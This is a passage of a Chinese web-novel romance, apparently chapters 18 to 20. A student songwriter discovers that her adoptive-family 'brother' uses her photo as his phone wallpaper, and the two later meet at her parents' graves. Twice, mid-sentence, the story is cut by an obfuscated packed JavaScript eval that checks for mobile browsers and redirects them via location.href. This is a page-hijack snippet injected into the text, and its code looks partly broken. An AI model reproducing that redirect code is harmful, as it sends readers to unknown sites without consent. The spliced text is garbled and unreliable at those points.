沈离离把写新歌的想法跟乐队小伙伴们提了一下,收到了大家的一致同意。杨敬澄高兴地说他也正打算写歌,询问沈离离,两人要不要合作。 沈离离不太委婉地拒绝:“这首歌我想自己完成。” 不过她没想到,这事比她想象的难了点。 作曲上她没遇到太大的问题,在生病那天,主旋律已经印刻在脑中。但在编曲之前,沈离离并不意外地发现,自己根本没有写歌词的经验。 这该怎么办,难不成到时候表演一首纯音乐吗? 沈离离想了想,决定启动题海战术。 她找来几首风格差不多的曲子,一边听,一边观察歌词。听了好几天各种风格的抒情摇滚乐,沈离离越琢磨,越感觉作词跟写诗有点像。 吃完晚饭,她直接背着书包去了学校图书馆。 在诗集专区随便抽了几本诗人名字比较耳熟的,她找位置坐下,如临大敌地翻开书和笔记本,拿出了研究影视配乐的架势来读诗歌。 到底是如何能把文字组合得如此轻盈,又如此刻骨铭心? 长短句错落有致,表达无比准确又无比优雅,细细默读时,甚至能感受到字句发音的巧妙之处。 就像编曲一样,每一处都在传达情绪,把听者,亦或是读者与作者之间的交流变得更具有艺术性,也更美。 本质上,其实都在表达。 看了两个小时,沈离离脑袋差点撞到桌面上,猛然惊醒。 真厉害啊沈离离,看诗集也能看睡了。她无奈叹了口气。 外面天空尚未全黑,是橙黄与赤红的渐变,晚霞时分。 她打开手机看了眼时间,回了未读消息,接着才收起书,照记忆中的顺序规整地放回去,走出图书馆。 表达,该如何表达? 倏然间,沈离离定住了脚步,回忆起某些青涩又羞耻的东西。 她高中时,大概十七八岁的年纪,情窦初开,悄悄在草稿纸上写过情书。 沈离离飞快调转脚步,走向校门口。 想回家找找那些草稿纸,她清楚地记得,自己并没有全部丢掉。 这个念头在脑海中盘旋,愈演愈烈,她甚至奔跑起来,路上不停回想情书上的内容。印象全都模糊了,但肯定不会错的是,那是她表达能力最强,也是最渴望书写的时候。 到家已经很晚,不可能在宵禁之前回到学校了。 但沈离离她们学院在这方面管得很松,从不在晚上查寝。她只需要思考如何解决明天的早八公共课。 沈离离心跳得很快,给骆雪发消息,问:小雪你明早有课吗? 骆雪回得很快:没呀,你来不了是吧?现在都不回宿舍呢。 沈离离很不好意思:嗯,我临时回家拿东西了,今晚赶不回去。麻烦你去帮我签个到,有什么想吃的我明天给你带? 骆雪隔了一会儿才回:没问题!吃的就不用啦,离离你周末有空没?就周六下午。 沈离离警惕起来,先问她:有是有,怎么了? 这一回,骆雪沉默的时间更长,一分钟后才回复,给她发了一段聊天记录,接着说:好离离,你能不能陪我去一趟?我有点社恐了,张姐她们几个周末都有事。【可怜】【可怜】 沈离离纳闷地点开聊天记录,然后全程皱着眉看完。 骆雪居然谈恋爱了,而且是网恋。 对方说自己这周末打算搞个露营烧烤派对,正式把她介绍给朋友。 沈离离:他是哪个学校的?你了解他吗? 骆雪:他在国外读书呢,去年刚回国,现在在他妈妈公司帮忙。我不是在网上做一个入门学编曲的账号嘛,他对音乐特别感兴趣,就联系我,一来二去就熟了…… 标准的富家公子哥配置。沈离离沉吟片刻,又问:你们之前见过面吗? 骆雪在这方面还是很诚实:没有。不过我有他照片!还是有点小帅的!就是不知道真人是不是长这样。 沈离离叹气:好,那周末我陪你去看看。 骆雪:【大哭】【大哭】【大哭】我就知道你是爱我的呜呜呜离离谢谢你!!! 沈离离坐在沙发里迷茫了一下,才想起自己回家的目的。 她上楼走进房间,在柜子里到处翻找,一个格子找完,无果,把东西又码回去,继续找下一个格子。如此循环,直到十几分钟后。 一沓乱七八糟的草稿纸被夹在数学笔记本中间,她拿出来,一张张翻看,手指忽然一顿。 眼下的,正是记忆中写了整整一面的情书。 说是情书,其实这样看上去更像是暗恋的独白。 她小心翼翼把写了字的纸张找出,照顺序整理了一下,总共四页。 写得像文笔拙劣的言情小说。她靠在柜子上,低头一字一句读过去,忍不住笑了一下,感慨万千。 这些情书全部是第二人称,有时会冒出一两个沈燎,暗恋的对象是谁自然一目了然。 高中时的沈离离对这份感情既惶恐又兴奋。 起初她并不觉得这是爱,直到渐渐意识到和同学们聊起恋爱话题时,自己脑中浮现出的对象竟然长着沈燎的脸,她才骤然发觉,她似乎,并不只是想当他的妹妹。 情书里,她极少称呼他为哥哥,好像在青春期的她看来,这个称谓就是莫须有的。她那时总愤懑地想,他们既无血缘,又无亲缘,到底为什么非得互称兄妹。 是她太贪心了吗?毕竟同学们经常说羡慕她有这样一个哥哥,还说她哥哥对她已经很好了。 可只要一想到沈离离和沈燎任何一个的身边有了其他人,这个在世界上仅此二人组成的联盟土崩瓦解,她就难过到心脏钝痛。 怎么办呢,她就是不知餍足,就是想要更多。 这当然没错,她爱上的并非一个不正确的人,可除了这个人,好像一切都是错的。爱是没办法强求的,深情的爱人者总在说,爱一个人应该要以他的幸福作为最高追求。 但往往理性总是敌不过感性,古往今来,几人能逃过?沈离离从不认为自己是圣人。 真是完了。 她捏着那些泛黄的纸张,良久,才叹出一口气。 - 后面两天,沈离离磕磕绊绊地写了第一段主副歌部分的词,又听了几遍曲子,琢磨着打算添两句预副歌歌词。 到了周六下午,第一段初版算是完成了。 骆雪已经换好裙子,正在为口红色号焦虑。 沈离离凝神给她看了一下,很快敲定:“左边这支。” 时间差不多,两人出门,在五点的时候抵达目的地。 骆雪一路上都紧张得要命,下了车往里走时,一直挽着沈离离的手念叨:“怎么办怎么办我心跳的好快我要窒息了……完了完了我有点想回学校……” 沈离离被她搞得也紧张起来,但努力强装镇定:“这个时候打什么退堂鼓。走,必须去看看到底是人是妖。” 骆雪犹豫了一下:“就算不是人,应该也不会是妖吧?” 走进露营地,一群人闹哄哄的,已经在烤烧烤,欢声笑语不绝于耳。这儿也只有那一堆人,估计就是目标人物所在了。 沈离离拖着骆雪走过去,有人看见她们,拍了拍站在中间的夹克男。 夹克男一下子眼睛都亮了,朝她们跑过来,一边喊:“小雪!” 骆雪顿时就不社恐了,开心地挥手:“云陆!” 两人跟牛郎织女似的拉着手,含情脉脉望着对方,脸上的笑一点藏不住。 “云陆这是我朋友沈离离,离离,他就是项云陆,我男朋友。”骆雪笑着说。 “小雪的朋友就是我朋友!快过来坐,别客气!”项云陆热情地招呼她们过去。 沈离离还是很客气地笑了笑。 这个男生,名字有点熟悉,长得也有点面熟。 刚一坐下,就听见一声呼唤。 “沈离离?” 她一愣,抬头看向声音来源。是个穿牛仔外套的男人,惊喜地瞧着她。 她辨认了几秒,恍然大悟:“云天哥,没想到在这儿遇到你。” 项云天喜出望外的样子, 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大家烤着烧烤,喝酒聊天,开吃以后又提议玩游戏,气氛很热闹。 骆雪原本还紧张,黏在沈离离身边,这会儿已经被项云陆带着玩嗨了,发现这群富家子弟并没有想象中那样刻薄排外。 她没法再一直和沈离离聊天,想拉她一起玩,沈离离笑着婉拒,叫她玩得开心,自己只想来蹭蹭吃喝。 一转头,项云天满脸神秘微笑,正瞧着她。 沈离离被看得不好意思了,“云天哥,你不去玩吗?” 那群人已经聚到另一张干净桌子上打牌了,烧烤桌旁只坐着几个纯聊天吃烧烤的。 项云天说:“我跟那帮小孩没什么好玩的,就是项云陆非拉来凑人头。” 沈离离笑笑,“我也是被朋友拉来陪陪她。” “你哥最近怎么样?是不是忙得要死了,好久没个消息。”项云天疑似没话找话。 “还行,他回国之后,一直挺忙的,这个月好像闲一点了。”沈离离配合着。 “这样?那我过两天可要把他拖出来玩了。” 她笑出来:“我觉得行。他这次回来都变宅了。” 除了这个好像也没别的可聊,毕竟他们两人唯一的共同话题就是沈燎。 项云天想起沈燎,又看看沈离离,忽然恶胆丛生。 他清了清嗓子,低头认真夹吃的,不经意开口:“唉,真是一代混的不如一代,你看我弟都有女朋友了,我和你哥还寡着。” 他绝不会说自己前阵子才分手,目前已经有暧昧对象。 沈离离闻言,反应不是很大,甚至宽慰他:“没事的,这种事强求不得,以后会遇到的。” “你哥是快遇到了,我就不知道得混到什么时候咯。” 旁边没声音了。项云天一边多此一举地给刚放上的烤肉翻面,一边用余光瞧她。 沈离离似乎是顿住了,盯着碗里的韭菜发呆。 “我哥……快遇到了?”几秒后,她忽然出声,微微抬头。 项云天也莫名忐忑起来,但还是故作随意,张口就来:“对啊,我上次就看见他手机壁纸是一个女孩,没看清脸,但都放壁纸了,肯定是喜欢的姑娘。” 他又看看沈离离表情,继续说:“没有心仪对象的时候,当然不急,这有了,估计就快了,是吧?” “嗯,确实。”沈离离点头,无知觉似的又拿了一串烤韭菜。 接下来的闲聊中,沈离离变得沉默了。虽然不至于不礼貌,但项云天感觉得到,她有心事了。 至于这心事,是妹妹对兄长的占有,还是别的,他不想去细究。 给沈燎发了几条消息之后,他只觉得爽。 项云天:沈燎,我在饭局遇到你妹了。 项云天:还有几个男生找她搭话要联系方式呢。 项云天:妹妹太受欢迎你有没有什么困扰啊燎哥? 沈燎:哪的饭局? 沈燎:地址。 项云天:哈哈你猜怎么着,已经结束了。 19. 第 19 章 形策课上,沈离离已经在课本上画出一排钢琴键盘了。 坐在她右边的舍友张紫苏说:“你居然还要在纸上练琴吗?那么卷?” 沈离离摇头,然后忽然想到什么,看向她,问:“紫苏你是不是有哥哥?” 张紫苏:“我还有弟弟。被恶臭生物包围的一辈子,谁敢体验。” 沈离离啊了一声,十分严肃地问:“你哥哥会用你或者弟弟的照片当手机壁纸吗?” 是的,关于沈燎手机壁纸的答案,她直截了当地去探究了一番。 那晚的派对结束后的第二天,在沈燎家,周末的晚饭桌上,她刻意去蹭了顿饭。 沈燎自然开心,问她想吃什么菜。 沈离离绞尽脑汁,最后只说:“你最擅长?” “行。”他一口答应。 其实他好像也没什么很擅长的菜。 沈燎做饭期间,沈离离昧着良心没去帮忙打下手,一边在心底不停道歉,一边悄悄拿起了他扔在桌上的手机。 她把电视音量调大,十分心虚,有点掩耳盗铃的嫌疑。 又飞速抬头朝着厨房方向瞟了几眼,沈燎沉迷做饭,对此一无所知。 心脏快要跳到嗓子眼了,得速战速决。沈离离打开手机,屏保是跑车,这倒是不出所料。她接着划开锁屏,对着密码页面停顿了几秒。 怎么忘记了还有这关。 万一是那个女孩的生日怎么办? 沈离离用食指小心翼翼输入了沈燎的生日,错误;输入沈三叔的生日,错误;输入自己的生日,打开了。 她就此愣住,不知道是为密码发愣,还是为手机壁纸。 根本不是什么喜欢的姑娘,是她。甚至不是什么家庭照或合照,只有她。 是她高中毕业那天,穿了裙子,站在学校樱花大道上,被同学抓拍的一张回眸。她当时喜欢得不得了,拿给沈燎看,说哥快看,这张照片是不是拍得特别好。 沈燎直接拿过了她的手机,看了半天,才又还给她,笑着说:“是不错,主要是我们离离天生丽质。男同学拍的?” 她哼了一声:“别想开我玩笑,是女孩子啦。” 所以当时他把手机拿过去,其实是悄悄把照片发给自己,又删除了记录吗? 为什么不直接叫她发呢,为什么要掩饰? 沈燎,你在想什么? 指尖悬停在屏幕上方,沈离离没有勇气再点开相册或其他图标。如同烫手山芋一般,她将手机屏幕熄灭,放回原位。 抿唇,站起身,又捏着自己的手机在客厅里走来走去,坐立难安。 脑袋里一团乱麻,像突然中了天价大奖,欣喜和惶恐交织叠加,根本无法冷静。 直到沈燎喊她:“离离,来吃饭了。” 她深呼吸几次,才站起身,“来啦!” 沈燎的烹饪水平在回国后的这几个月显然退步不少,最终成品让他很不满意。 沈离离假装无事发生,一如既往地安慰他,已经很不错啦,特别好吃。 沈燎吃了几口,抬眼看了她一会儿,“想什么呢,有心事?” “啊?”她差点□□饭噎到,“没有呀。” “那别发呆,好好吃饭。”他把热水推到她面前。 沈离离捧起来喝了几口水,似乎在小小杯子的回音里,也能听见自己尚未停息的剧烈心跳声。 _ “怎么可能!”张紫苏露出嫌恶的表情,“我哥不是嫌我头油就是说我斗鸡眼,要是拿我照片做壁纸,绝对是想恶心死我。” 沈离离若有所思。 张紫苏杵着下巴问她:“怎么了,突然问这种问题。离离我记得你没有兄弟姐妹吧?” 同宿舍三年,大家平时闲聊也差不多掌握了彼此的家庭情况,沈离离偶尔会提起过世的父母,收养她的姑姑,但很少说自己有什么兄弟姐妹。 她回答:“确实没有,但我……有个青梅竹马的哥哥。” 左边的骆雪听到了关键词,探头过来,小声问:“对了,我都忘记了,离离你跟那个竹马哥发展到哪步了?” 都是不清楚她家具体情况的普通朋友,沈离离索性直接讲出烦恼:“我一直觉得他只把我当妹妹,就没想过争取什么,但前两天吧,我突然发现他手机壁纸是我的照片……” 骆雪和张紫苏捂嘴倒吸一口冷气。 骆雪:“我男朋友都没把我照片设成壁纸呢。这心思藏都藏不住了吧,你这个呆子快争取啊啊!” “小点声,老师看我们了。”沈离离六神无主。 张紫苏:“先听我说,沈离离同学,不管亲的还是表的,或者就我认识的那种重组家庭有亲缘关系的,兄妹都不太可能感情好到这种地步,不打架已经不错了。所以他不可能真把你当妹妹,你懂不懂?” 沈离离福至心灵,追问:“那买新房专门给妹妹装一个卧室,出差之前要特地来找她告别,和她一起去汽车影院看电影……都不会吗?” 张紫苏和骆雪,齐齐虎躯一震,“肯,定,不,会——” 骆雪有点不可置信:“你们真的还没结婚吗?” 张紫苏,拿起手机:“不行我得跟我哥好好聊聊,揍他一顿看看他承不承认我不是他妹。” 骆雪:“张姐你冷静,你那个是真哥,离离这个是竹马啊。” 下课前,沈离离特地嘱咐骆雪,不要把她和沈燎的事情告诉和项云陆有关的任何人,骆雪兴奋地点头,表示绝对守口如瓶。 她感慨:“这就是豪门秘辛吗。” 沈离离:“绝对不是的。”毕竟豪是沈燎的,她只能算有门。 后来两天,沈离离不出所料地失眠了。平时回复沈燎消息也变得犹豫,现在好像看哪儿都不太对劲的样子。 一周后,沈离离的《脉搏》初步完成,她录了段demo发在乐队群里,得到了大家非常惊喜的回复,陈夏安很认真地在演唱上给了些建议,最终版获得了一致好评。 周末排练时,几人聚在一起,又听了一遍。 杨敬澄连连感叹:“太神了吧你这个小提琴加的。” 陈夏安琢磨着,也竖大拇指:“词也写得好。” 殷恒问:“这歌到时候你打算自己唱吗?” 其他两人也看向她。 沈离离坚定地点头,“是的。” 杨敬澄笑道:“沈姐,这次认真得有点儿不像你了。” 陈夏安:“离离哪次不认真,都快有点较真了。” 沈离离笑了笑。 排练几次,效果都很不错,甚至超出了最初的预期。距离正式演出还有两周时间,对他们来说完全足够了。 在排练室里陈夏安没多说,一直到回宿舍路上,才忍不住,“这歌,是不是写给某人的?” 沈离离惊异于她的敏锐,“算是吧,不过也不能算‘某人’,就是,某段感情。” 陈夏安笑了笑,“演出那天,他会来吗?” “应该会吧,但来不了也没关系啦,”沈离离说,“感情,还是得主动争取一下的。” “哟,要告白啊?”陈夏安这回真的很吃惊。 沈离离听到关键词汇,也吓得赶紧摇头,“先试探试探,一步步来,不可操之过急……” 陈夏安笑起来。 又是一个宁静的夜晚,又是满天繁星。 沈离离忽然就对未来充满期待。 - 周三,沈离离收到了寒假时叫她帮忙制作动画配乐的那位朋友的消息,朋友告诉她这部参赛动画获奖了,周五晚上会在颁奖的报告厅里播放。 对方热情邀请她来看。沈离离想了想,叫她帮忙占两个位。 朋友答应后,她直接去问了沈燎,周五晚上有没有空。 沈燎秒回,她说明邀请,他也很干脆地答应了。 沈离离:这次不会再放我鸽子了吧? 哥:不会。(三指发誓) 她笑了起来。 到了那天下午,沈离离提前到学校门口等待沈燎,不到约定时间,他就到了。 “你每次来我们学校,都打扮得很青春。”她评价。 沈燎这回穿了oversize风格,他本来就个子高,配件搭配也十分恰当,看上去更潮了,可以和学校嘻哈社某些被吹捧的帅哥一较高下。 他还是说:“不然怎么好意思走在你旁边?” 沈离离低头看看自己的美式印花黑t,白色短牛仔裙,以及马丁靴。还是自愧不如。 她说:“没关系呀,你穿什么都很年轻,不老的。” 沈燎:“……沈离离,我看见你在憋笑了啊。” 周五下午食堂人不算很多,课上完,大学生都似野马脱缰逃出校园玩耍去了。沈离离终于有机会带沈燎去尝她最爱的那家咖喱饭。 两人点了餐,找到座位,坐着聊了一会儿。 直到取餐号码被念到,沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321101|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离离起身说:“你坐着占位,我去取。” 两份饭装在两个盘子里,她一个人拿应该没问题。于是沈燎很听话地点头。 两分钟时间。 沈离离端着盘子回来,就看见两个挽着手的女孩从他们这桌旁边离开。 她有点纳闷,接着,女孩子路过她身边,她隐隐听到:“啊这就是他女朋友,我刚还以为是借口呢……” 手里忽然一轻。她抬头,沈燎已经把两个盘子接过去了。 “又发呆?”他看着她笑。 沈离离摇摇头,回到座位上,看了他两秒,没急着动勺子。 “沈离离同学,”沈燎挑眉,“在家里吃饭发呆就行了,在外面还是注意一点。” “知道啦,”她低头,拿起勺子吃饭,边问他:“刚才那两个女生,跟你说了什么?” 沈燎顿了一下,很漫不经心的样子,说:“就问我这座位有没有人。” “那你怎么说的?” 他抬眼看她,笑道:“我还能怎么说?肯定说有啊。怎么了?” 沈离离憋了一会儿,忍住了多问的冲动,继续吃饭,“没什么。” 颁奖典礼在晚上七点准时开始。沈离离带着沈燎去和她朋友打了个招呼,顺便恭喜她获奖。 朋友给他们指了位置,笑着对沈离离说:“你的配乐真的太好了,离离,没有你,这个短片不会被那么多人喜欢。” 沈离离知道她是太谦虚,“我也得感谢你给我这个机会呀,真的很荣幸。” 朋友笑了笑,两人轻轻抱了一下。 “这是你男朋友吗?”她问。 沈离离很想看看沈燎听见这话的表情,但她不好直接转过身,只能笑着摇头:“不是。” 她没解释,朋友也没多问。她们暂时分别,沈离离和沈燎也找到座位坐下。 两个人都没说话。 沈离离用余光看他,这人聚精会神,盯着屏幕。 都没开始播放呢,到底在看什么。 “小心。” 她的肩膀忽然被他揽过去,沈离离一惊,回头看见有个男生跑太快,差点撞到她。 那人回头道了句歉。 沈燎很快抬起手臂,询问说:“要不我坐外面?” 沈离离看着他格外认真的眼睛,点了点头。两人起身交换位置,她的发丝垂落,很轻很轻地从他耳朵旁边擦过去,留下点点酥痒。 沈燎默不作声,喉结上下滚动。 流程走完,终于开始播放短片。场内的灯全部熄灭,众人也安静下来。 短片剧情和沈离离寒假时跟沈燎讲述的差不多。 开场就是机器人005被顶级机械师制造出来,输入了不通人性,绝对服从等作为兵器该有的指令,但机械师犹豫了许久后,还是存储了一个情感模块,将来某一天,有人可以通过特殊指令唤醒。 005数十年来一直履行职责,在执政者的手中,成为一柄锋利而令人畏惧的刀。 但就在某一天,他遇到了一位生物学家,那是一个正直善良的女孩。她偶然中通过生命基因打开了他的情感模块。 从那以后,机器人005的世界变得不一样了。 女孩教会他生命的意义,教会他爱和被爱,他们相知相守,一起完成女孩的理想,让世界重新变得生机勃勃。 最终生物学家寿终正寝,005则怀念着她的精神继续生活下去。 二十多分钟的短片,无论是画风,动态效果,还是配音和配乐,全都异常出色,堪称精彩。让人很难相信,这是一个大学生团队仅靠着热爱和激情创作出的作品。 动画结束,灯光重新亮起,观众席才爆发出响亮又持久的掌声。 沈离离泪眼朦胧,跟着众人用力鼓掌,手心拍得发烫发痛。 她转头问:“哥你还记得寒假那次,我给你讲完这个故事之后,我们说的话吗?” 沈燎轻声说:“我记得。” 他们曾说,要交换彼此心中的结局。 “那你想好了吗?”沈离离问。 “现在想好了,”他笑望着她,目光柔情似水,“你先说?” 她轻轻吸了口气,看着他的眼睛,说:“我希望,生物学家离开后,机器人005也永远关闭了自己的电子脑。” 沈燎微微挑眉,笑出来,“我们喜欢的结局,是一样的。” 要么爱,要么死,遇见你以后,我已经无法独活。 20. 第 20 章 沈燎想起上个周末的晚上。 项云天叫他去打球,他义无反顾地拒绝了。项云天说:“不想打球?那去喝酒呗,跟你讲点昨天饭局的事儿。” 沈燎:“打球吧。” 两人直接在网球馆碰面,项云天什么也不说,真的拉着他去打球了。 虽然平时有去健身房的习惯,但网球确实很久没碰,沈燎连丢几分,不由得有点失了耐心,出声道:“正事儿呢?到底还说不说了。” 项云天笑眯眯地:“急什么,诶沈燎,我发现你这次回来人都变内向了好多,有什么心事啊?” 沈燎重重给了他一拍球,“没有,纯内向,天生不爱讲话。” 项云天没接住球,但还是噗一声笑出来,“说屁呢,以前是谁最能喝最能讲?嗤,脾气倒是跟以前一样臭,就你妹受得了。” 提到沈离离,沈燎的气质就变了,目光一凛,像被触发了什么隐藏人格一样。 总之,之后的比分项云天眼看着沈燎超过他之后,就再也没追回来过。 中场休息,两个人都累得满头大汗,握着瓶子往喉咙里猛灌水。 “所以,”沈燎抹了把脸,看向项云天,“昨天离离到底怎么了?” 项云天缓缓停下,没立刻说话。他拧上瓶盖,享受了沈燎几秒的注视,才说:“其实也没怎么,我就是给了她一点儿提示。” “你跟她说什么了?”沈燎目光变得十分可怕,有生啖人肉之势。 “你,你别这样看我,大哥,你现在是不是想对我干什么违法乱纪的事?别乱来啊。”项云天立刻离他一米远。 “你要是再这么吊着,不把话说清楚,我还真什么都干得出来。”沈燎掀了掀眼皮,平静地收回视线,又喝了口水。 “你冷静一点儿行吗,我只说我都快谈恋爱了,你哥也得抓紧,不然家里一安排,那就没得选了。”项云天看了他一眼,继续道,“然后呢,我就跟她说,你好像有个喜欢的女孩儿。” 沈燎抬头睨他,看起来很想抽人,但忍住了。 “再然后呢?” “哦,再然后,我说你好像把喜欢的那个女孩照片设成手机壁纸了。” 沈燎握着球拍站起身,看起来是真的要抽人。 项云天大惊失色,飞快提起球拍,“君子动口不动手!” “她的反应呢?她说什么了?”沈燎深呼吸,又忍住了。 “没什么特别大的反应,但看着挺难过的。” 沈燎沉默地放空了好久,然后伸手把项云天拽起来。 “我靠,你干嘛。”后者拼命挣扎。 “继续啊,不是你叫出来打球的吗。” “不是,别,哥,这才休息几分钟——” 获奖短片全部放映完毕,典礼接近尾声。 沈燎思绪回转。 散场后,沈离离去找朋友道别,他站在报告厅外面等她。 忽然在想,她能不能猜出他手机密码,如果能,会不会去看他的手机壁纸是谁……如果她看到了,又会怎么想。 会想要避嫌,离开他,把两人间距离拉远吗,会觉得……哥哥很恶心吗? 喜欢上自己从小看长大的妹妹,难道还不算禽兽吗。 “哥!” 沈离离正从报告厅里小跑出来,穿过三三两两的学生,笑着向他过来。 沈燎情不自禁地朝她微笑,这一刻,他出奇地平静了下来。 可是,会有人能忍住不爱她吗?会有人能在触碰她的温暖之后心甘情愿地离开吗? 假如他真的有罪,那就等到她亲口对他说出判词的那一天再认吧。 回家路上,沈离离叽叽喳喳又说了一堆对这部短片的感想,说着说着,把自己讲得哽咽了。 沈燎既好笑又心疼,安慰她:“至少他们相爱过,不是吗?” 沈离离有点伤春悲秋:“相爱不能相守,就比从来没爱过要好吗。” 沈燎:“离离,你真想跟我讨论这个?” “不可以吗?” 他一时语塞,“可以。” 沈离离脸朝向他,很真诚地问:“如果你是生物学家,你会开启这段恋情吗?” 在明知无法长久,无法相伴到老,无法同生共死的前提下,与一个不会爱人的人相爱。 沈离离总是喜欢做这些奇怪的假设,她的思维像一张漫无边际的网,对万物都充满好奇,天马行空犹如精灵。 沈燎想了想,也试着像她那样无所顾虑地想象。 然后发现对他来说确实很难,他的思维像一条又直又长的线,单行轨道,而非网。 他选择遵从内心回答:“如果我真的喜欢那个机器人,可能不会。” 沈离离太不理解:“为什么?” “因为,”他认真组织了下语言,“它对生物学家来说,是圆满的一生,但对机器人来说,是没有尽头的生命里的一把枷锁。没有爱,不完整,但更自由。” “你希望你爱的人自由,是吗?”她轻声问。 沈燎笑了一下,“怎么还越说越沉重了。那你呢,沈离离同学?” “我……”她停顿了很久,低声说,“我可能还是想要拼尽全力地去相爱,就算所有人都说是错的。” 沈燎没说话,注视了一会儿窗外,随后回头对她笑了笑,“这很好。” - 这一晚结束后,沈离离继续忙碌,完善作品集,学语言,乐队排练…… 她什么都没问,过了那晚,依旧什么也没说。 沈燎刻意让自己不去想项云天说过的事,他知道他在逃避,很可耻,也饱受挣扎,但除此之外毫无办法。 他应该解释点什么的,却根本不知道沈离离的想法,她是在乎还是不在乎。 于是无论解释还是掩饰,沈燎都没有张口的机会。 他只能每次解锁手机之后,情不自禁地盯着壁纸上的女孩,然后轻轻叹息。 几天后的五月十五号,对沈燎和沈离离来说,都是一个毕生难忘的日子。 不过沈燎没有想到,这天下午,晚春的雨毫无征兆地来了。 他撑着黑伞,穿了黑色正装,抱着一束花走进墓园。 沈君良和关瑶本在遗嘱上写了同穴合葬,但沈家人不承认,只认为关瑶始终是沈君良的女友。 沈燎一再争取,只能使他们墓位相邻。 在关瑶查出怀孕之后,她就拉着沈君良提前拟定了遗嘱,在孩子出生前就为他们绝对公正地分配遗产。却没想到腹中孩子甚至没能出世。 沈燎把花放在沈君良墓前,站在两人墓中间,看了一会儿。 他缓缓开口,说:“三叔,关阿姨,我对不起你们,三年没来过,这三年也没能照顾好离离,不知道让她难过了多久。以后,我也不敢保证太多,但只要她需要,不管她想做什么,想去哪里,我都会托着她,尽我所有,保护她,让她开心快乐,无忧无虑。” 他停顿了一下,低声道:“你们和离离,永远是我最重要的家人。” 雨下不停,满地潮湿,淅淅沥沥的雨声像被开到最大音量的背景音乐,让人与世隔绝。 沈燎蹲下身,抬头凝望着这雨,忽然很想抽根烟。 可惜已经戒烟很久了。 他起身,打算离开,却在迈步的前一刻,看见雨幕中走过来一个人。 撑着伞,穿了黑色的衬衫领连衣裙,怀里抱着一束金灿灿的伊芙伯爵。越走越近,裙摆似乎被雨淋湿,只有那束鲜花完好无损。墓园的一切都仿佛被这场雨冲刷成沉默的灰白,只有她怀里的花在安静闪耀。 沈燎看见她淡色的唇,接着是鼻尖,脸颊,温和似海的眼睛。 沈燎轻抿了下唇,很快移开视线。 “哥,你刚来吗?”沈离离其实猜到沈燎会过来,却没想到那么巧,能同时出现。 沈燎说:“有一会儿了,刚准备走。” 沈离离将花放到关瑶墓前,淡淡笑说:“我妈妈就喜欢各种各样的月季,我去年带的是粉色。” 沈燎望着照片上微笑的女人,说:“还真是,以前家里花瓶里的鲜花几天就换一次,都是不同颜色的月季。” 他话音一转,问:“你呢,现在有没有喜欢的花?”他记得她以前对花并不很热情,没有很爱的种类。 沈离离果然摇头:“没有很喜欢的。不过比较偏爱浅色的吧,像网上很流行的碎冰蓝玫瑰那种。” 沈离离看向他:“三叔好像也没什么喜欢的花?” 在沈君良正式与关瑶结婚前,她一直和沈燎一样喊他三叔,只可惜,直到最后也没有改口的机会。 “不算,”沈燎笑了笑,说,“关阿姨身上戴了什么,他就喜欢什么。” 两人相视,淡淡一笑。 六岁那年的春天,离离头一次见到沈君良。 披萨店外面,她跟在关瑶身后,小心翼翼,对一切陌生事物充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321102|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满恐惧。 进门前,关瑶蹲下身,轻轻拉住她的手,说:“宝贝,我们等会儿要和沈叔叔一起吃饭,沈叔叔是个很好的人,他不会伤害妈妈,不要害怕好吗?” 离离没有说话,很安静地看着她,点了点头。 她们穿过陌生的一切,走向一个同样陌生的,朝她们挥手的年轻男人,戴着黑框眼镜,穿了浅色衬衫,气质很斯文儒雅,但笑起来很阳光。 离离注意到妈妈今天化了妆,嘴唇很红,还卷了头发,穿了长裙子。见到那个男人,她露出美丽的笑容。 走近坐下,才看见男人旁边还有个男孩。 关瑶笑着说:“小离,这是沈叔叔。” 离离仰头看着他,没说话,很腼腆地笑了一下。 关瑶温柔地抚摸女儿的头发,说:“这孩子因为以前的事,有点心理问题,不爱讲话。” 沈君良很心疼,望着那个与关瑶几乎长得一模一样的孩子,说:“没关系,阿瑶,慢慢来,我陪你一起,一定会好的。” 他向母女俩介绍旁边的男孩,“这就是我之前跟你提过的,我最好的那个朋友家的小儿子,叫沈燎。”转头对沈燎说:“这是关瑶阿姨,那是妹妹,离离。” 沈燎很懂两个大人带小孩子一起聚在一张桌子上是什么意思。 他礼貌地跟关瑶打招呼:“关阿姨好。” 而那个小女孩…… 自从刚才对沈君良笑了一下之后,她一直低头盯着桌面,不出声,也没有表情。 应该打招呼吗? “小燎,带妹妹去前台那儿拿饮料吧。”关瑶忽然说。 沈燎抬头,“好。” 他走到小女孩旁边,向她伸出手,观察着她的神情,“走吧,妹妹。” 离离没有别的奇怪行为,很乖地牵上他的手,跟着他走向前台。小孩子的手真的很小很软,而且暖呼呼的。沈燎有点紧张,不敢松开,又怕拉得太紧。 “你想喝什么?”他低头问她。 离离仰头看着柜子上的饮料,陷入思考。 沈燎看了看她,又看了看柜子,说:“要不我把你抱起来看?” 离离很惊讶地看向他。 她不说话,他不知道到底该怎么办。 于是纠结半天,打算直接上手,边说:“那我抱了?” 离离被沈燎举起来了。她兴奋地看着琳琅满目的饮料瓶,又低头看看沈燎,不敢动作太大,却又难掩激动。 接着,她谨慎地抬手指了指椰子汁。沈燎缓缓把她放下来,站稳扶好,去跟服务员要了两瓶。 